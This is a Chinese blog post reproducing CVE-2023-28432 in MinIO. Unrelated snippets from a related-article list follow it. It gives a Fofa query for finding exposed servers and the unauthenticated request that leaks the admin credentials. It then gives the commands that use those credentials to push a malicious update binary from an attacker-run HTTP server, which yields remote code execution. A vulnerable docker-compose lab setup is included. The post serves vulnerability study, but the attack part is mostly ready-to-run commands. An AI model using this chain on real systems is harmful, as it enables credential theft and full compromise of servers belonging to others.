CVE-2023-28432 MiniO信息泄露漏洞复现

2023-11-04

在这里插入图片描述

CVE-2023-28432 MiniO信息泄露漏洞

MiniO 是一个基于 Apache License v2.0 开源协议的对象存储服务。它兼容亚马逊 S3 云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等

在集群部署的 Minio 中,未授权的攻击者可发送恶意的 HTTP 请求来获取 Minio 环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录 Minio,分布式部署的所有用户都会受到影响,单机用户没有影响

Fofa:title="MinIO Browser" || banner="MinIO" || header="MinIO"

影响版本:RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z,browser 登陆页面如下

截屏2023-03-25 16.21.53

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.69.81:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
curl -XPOST http://192.168.186.148:9003/minio/bootstrap/v1/verify

截屏2023-03-25 16.17.28

从信息泄漏到RCE复现

MinIO 提供了一个非常方便的功能,可以通过 mc「MinIO客户端」进行服务器管理,通过第一步获取到管理员账号密码之后使用 mc 进行服务器升级,原理可以看这篇文章:MinIO从信息泄漏到RCE复现

首先通过 mc 连接远程的 MinIO 服务器

linux 安装 mc 命令
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x ./mc

连接命令
./mc alias set myminio http://192.168.31.8:9000 minioadmin miniopassword

截屏2023-03-28 11.56.32

在执行升级命令后,默认会从官方服务器下载最新版进行升级,关键在于升级地址是可以自定义的,企业如果是内网环境可以指定自己的更新地址以便于升级

整个更新流程:验证管理员权限→获取最新版本→获取最新版本的 sha256sum 信息→下载并验证 sha256sum →验证无误后替换自身并重启,虽然sha256 我们不可控,但是用于验证的 sha256sum 文件是我们可控的,跟进相关代码可以发现,envMinisignPubKe 默认为空,导致签名校验失效,所以我们可以构造恶意升级包,最终形成RCE

恶意升级包下载地址:https://github.com/AbelChe/evil_minio,使用以下命令去生成升级所需文件,下载包会比较多需要一个良好的网络环境

evil_minio-main % CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath && mv minio minio.RELEASE.2023-03-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum

在生成文件目录下使用 python 启动一个简易 http 服务器,确保可以远程访问

python3 -m http.server

使用以下命令去升级 minio

mc admin update myminio http://192.168.186.1:8000/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

截屏2023-03-28 17.11.56

升级过程中会去访问 web 服务下载升级包,可以看到访问了两次,第一次访问 sum 文件,第二次访问升级文件

截屏2023-03-28 17.11.17

构造恶意的更新指令后提示正常更新,并且执行了我们提供的恶意程序,但是替换了恶意程序之后,原本的MinIO服务会中断,所以想要无损利用需要考虑基于源程序进行魔改,并且这个漏洞的利用与部署方式无关,只要获取到了管理员账号密码就能实现恶意升级

升级成功后可以执行任意命令

截屏2023-03-28 17.22.37

可能会遇到的问题

  1. [not our bug] Unexpected client ‘admin’ API version found ‘v3’, expected ‘v2’, please downgrade the client to older releases

    minio 版本太低无法,mc 版本太高

  2. 使用 mc update升级过程中提示「缺失minisig文件」

    截屏2023-03-28 17.10.35

    原因:docker启动的环境,docker环境在默认情况下存在MINIO_UPDATE_MINISIGN_PUBKEY 环境变量

    解决方法:docker环境在默认情况下是无法RCE的,需要清除这个环境变量,比如在docker-compose.yml中加入

      environment:
        MINIO_UPDATE_MINISIGN_PUBKEY: 
    

    在没有该值的漏洞版本的情况下,可以绕过完整性检查,也就不会请求.minisig文件

参考

docker-compose

version: '3.7'

# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
  minio1:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio1
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9001:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio2:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio2
    volumes:
      - data2-1:/data1
      - data2-2:/data2
    ports:
      - "9002:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio3:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio3
    volumes:
      - data3-1:/data1
      - data3-2:/data2
    ports:
      - "9003:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3    

  minio4:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio4
    volumes:
      - data4-1:/data1
      - data4-2:/data2
    ports:
      - "9004:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:
  data2-1:
  data2-2:
  data3-1:
  data3-2:
  data4-1:
  data4-2:

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2023-28432 MiniO信息泄露漏洞复现 的相关文章

  • linux 安装jdk

    1 下载JDK jdk下载地址 http www oracle com technetwork java javase downloads jdk8 downloads 2133151 html 2 安装jdk 因为我安装的CentOS7
  • 项目实战二:关于element-ui前端框架自定义排序功能

    前言 近期 前端在开发的过程中 需要根据列表中字符串形式的数字进行升序或者降序排序 直接排序肯定是有问题的 这时就需要用到自定义排序的方式了 还有就是先将字符串的数字转化为Number类型的 具体代码如下 开启排序
  • blender建模常用建模快捷键

    编辑物体 M2选取 M2 SHIFT选取多个 A全选 B M1矩阵选择 C M1笔刷选择 CTRL M1套索选择 CTRL SHIFT M1取消套索选择 ALT M2选择边循环 面 CTRL ALT M2环边选择 线 CTRL 小键盘的 扩
  • 安卓移动应用开发之从零开始写安卓小程序2

    实验二 安卓文件的简介和我们的第一个安卓小程序 发布文章时没有保存 导致文章不对 在此抱歉 这次补上了 一 HelloWorld创建 1 File New NewProject 名字我们就写HelloWorld 其他都默认 包名可能会和我不
  • Spring Security入门

    1 Spring Security 简介 Spring Security 是一个高度可定制的身份验证和访问控制框架 它基于 Spring 框架 并可与 Spring 全家桶无缝集成 该框架可以精确控制用户对应用程序的访问 控制用户的角色和权
  • 二级路由dhcp关闭连不上wifi_手把手教你天翼校园网开wifi

    温馨提示 1 非广东海洋大学的学生或所用校园不是天翼校园网的童鞋可以酌情忽略本推文 2 为照顾小白 本文比较详细 请各位耐心阅读 天翼校园网大概是我见过最恶心的校园网了 表面说着是为了 保证上网环境安全 强制一号一终端 还不能开热点 实际上
  • Nginx配置origin限制跨域请求(应对等保)

    Nginx需要修复一个安全漏洞 这个需要根据客户端传递的请求头中的Origin值 进行安全的跨站策略配置 目的是对非法的origin直接返回403错误页面 配置如下 1 在http中定义一个通过map指令 定义跨域规则并返回是否合法 htt
  • python实现的jsencryp加密后端无法解密_python 3 实现js中JSEncrypt encrypt方法,rsa模块根据字符串公钥生成加密字符串...

    coding utf 8 import base64 import rsa all rsa encrypt def str2key s 对字符串解码 b str base64 b64decode s if len b str lt 162
  • qt控件学习(4)

    文章目录 QTabWidget 控件 QMenu QToolBar 控件 QSystemTrayIcon 任务栏控件 QTabWidget 控件 mainwindow h ifndef MAINWINDOW H define MAINWIN

随机推荐

  • 【JVM】内存管理

    目录 引言 1 内存分配 1 0 创建一个对象涉及的内存 1 1 方法区 1 2 堆 1 2 1 对象 堆里的存储单元 2 1 3 虚拟机栈 2 垃圾回收GC 2 1 垃圾回收的目标区域 2 2 垃圾回收算法 2 2 0 标记算法 2 2
  • vs2017登陆日期失效,登录界面长时间不显示解决方案

    下面说在社区版本30天试用期到后登录问题 卡住那个登录界面不显示的方法 附上解决链接 https blog csdn net zhouyingge1104 article details 79113636 里面图文并茂
  • 状态机fsm_Verilog设计与逻辑综合实例解析(有限状态机)

    来自微信公众号 数字芯片实验室 有限状态机 Finite State Machines 是设计中控制逻辑的重要部分 本节讨论各种类型的FSM编码风格的差异 同步状态机和异步状态机之间有什么区别 同步状态机和异步状态机是状态机的两种基本类型
  • 查看电脑jdk/jre版本以及安装路径并测试是否可以正常使用(检查运行环境)

    查看电脑jdk jre版本以及安装路径并测试是否可以正常使用 检查运行环境 查看JDK版本 查看jre安装路径 在cmd中继续输入 测试方法 查看JDK版本 安装好JDK并配置好环境之后 查看jdk版本 首先进入cmd运行之后 输入 jav
  • 多元化增长引擎业务占比超四成,联想开启混动模式?

    一句话概括联想集团的业绩 预料之内的整体下滑 超出预期的第二曲线 上周五 2月17日 联想集团发布了2022到2023财年第三季度业绩 根据财报 联想集团实现营收152 67亿美元 同比下降24 实现净利润4 37亿美元 同比下降32 值得
  • Edge加载weTab扩展,实现ChatGPT应用

    1 找开Edge浏览器 点右上角三个点儿 如下图 再点 扩展 2 在弹出的窗口中点 管理扩展 我上这个中 上面已经存在 WeTab 免费ChatGPT新标签页 说明我已经加载这个扩展项啦 3 再在弹出的扩展页中 输入 wetab 这时右侧可
  • 特殊环境下的conda环境激活

    问题描述 特殊环境指的就是docker容器内部或者jenkins的Execute shell内部 在特殊环境内正常执行conda activate 环境名会有如下的报错 Could not find conda environment da
  • 自定义Dynamics 365实施和发布业务解决方案- 2.设置开发环境

    本章将指导您设置开发环境以启动项目 概括一下 在第1章中 我们捕获了Azure DevOps 正式名称为VSTS 中的需求 创建了数据模型 并将实体映射到Dynamics 365实体 现在是开始开发的时候了 但在这样做之前 我们必须决定实现
  • el-select下拉框定位问题

    1 当el select所在页面滚动时或者el select上面区域高度发生变化时 定位存在偏差 2 解决办法 1 el select自带属性popper append to body true 可能会无效 2 设置ref 监听高度变化或者
  • pandas报cannot set a frame with no defined index and a scalar的一个原因

    使用pandas时遇到 ValueError cannot set a frame with no defined index and a scalar 错误 其中一个原因可能是由于你正在对一个空的dataframe进行操作 gt gt g
  • 10.es 基于multi_match+most_fields策略进行multi_field搜索 、使用most_fields策略进行cross-fields search的弊端

    从best fields换成most fields策略 best fields策略 主要是说将某一个field匹配尽可能多的关键词的doc优先返回回来 most fields策略 主要是说尽可能返回更多field匹配到某个关键词的doc 优
  • Linux命令入门教程(三):文件基础篇

    3 1 文件基础介绍 Linux系统的一个重要思想 一切皆文件 在Linux中 一个普通文件如 txt文本是一个文件 一个压缩包是一个文件 一个设备也是一个文件 Linux中文件的后缀名并不重要 你可以创建一个无后缀名的文件 或给它一个不相
  • TensorFlow2+OpenCV实现人像采集与识别

    TensorFlow2 OpenCV实现人像采集与识别 前言 1 图像检测和采集 2 图像预处理 3 网络搭建和模型训练 4 人脸图像匹配与识别 前言 本设计用python语言实现 这里罗列一下整个项目所需要的包 仅供参考 h5py 2 9
  • [架构之路-209]- 人人都是产品经理 - 产品经理的常见话题

    这是写给 1到3岁的产品经理 的书 适合刚入门的产品经理 产品规划师 需求分析师 以及对做产品感兴趣的学生 用户体验 市场运营 技术部门的朋友们 特别是互联网 软件行业 作为一名 4岁的产品经理 作者讲述了过去3年的经历与体会 与前辈们的书
  • Qt for vs2017 grpc无法解析的外部符号错误

    Qt for vs2017 grpc无法解析的外部符号错误 错误 grpc lib alts handshaker client obj error LNK2001 无法解析的外部符号 public void thiscall absl l
  • Keras框架下的猫狗识别(三)

    Tensorflow学习 使用jupyter notebook Keras框架下的猫狗识别 一 Keras框架下的猫狗识别 二 Tensorflow学习 使用jupyter notebook Tensorflow学习 使用jupyter n
  • 二. javascript语句

    注 与c语言用法相同的语句这里不作赘述 1 throw语句 抛出一个异常 例如 fuction myfun x y if y 0 throw new Error 除数不能为0 return x y myfun 1 0 结果报错 除数不能为0
  • maven 在idea 里面执行install 失败,报一些jar 包失败

    1 maven 在执行install 的时候 会有一些命令 这个时候会报日志 日志里面谁说从这个地址拿不到相关的Jar 包 那么 就先在pom xml 里面看看这个url存在不 如果存在 看看是否存在这个jar包 要是不存在 那么就会下载不
  • Android App软件框架搭建

    1 App软件框架搭建 1 0软件基本架构 1 1创建MainActivity并设置布局文件 布局文件如下
  • CVE-2023-28432 MiniO信息泄露漏洞复现

    CVE 2023 28432 MiniO信息泄露漏洞 MiniO 是一个基于 Apache License v2 0 开源协议的对象存储服务 它兼容亚马逊 S3 云存储服务接口 非常适合于存储大容量非结构化的数据 例如图片 视频 日志文件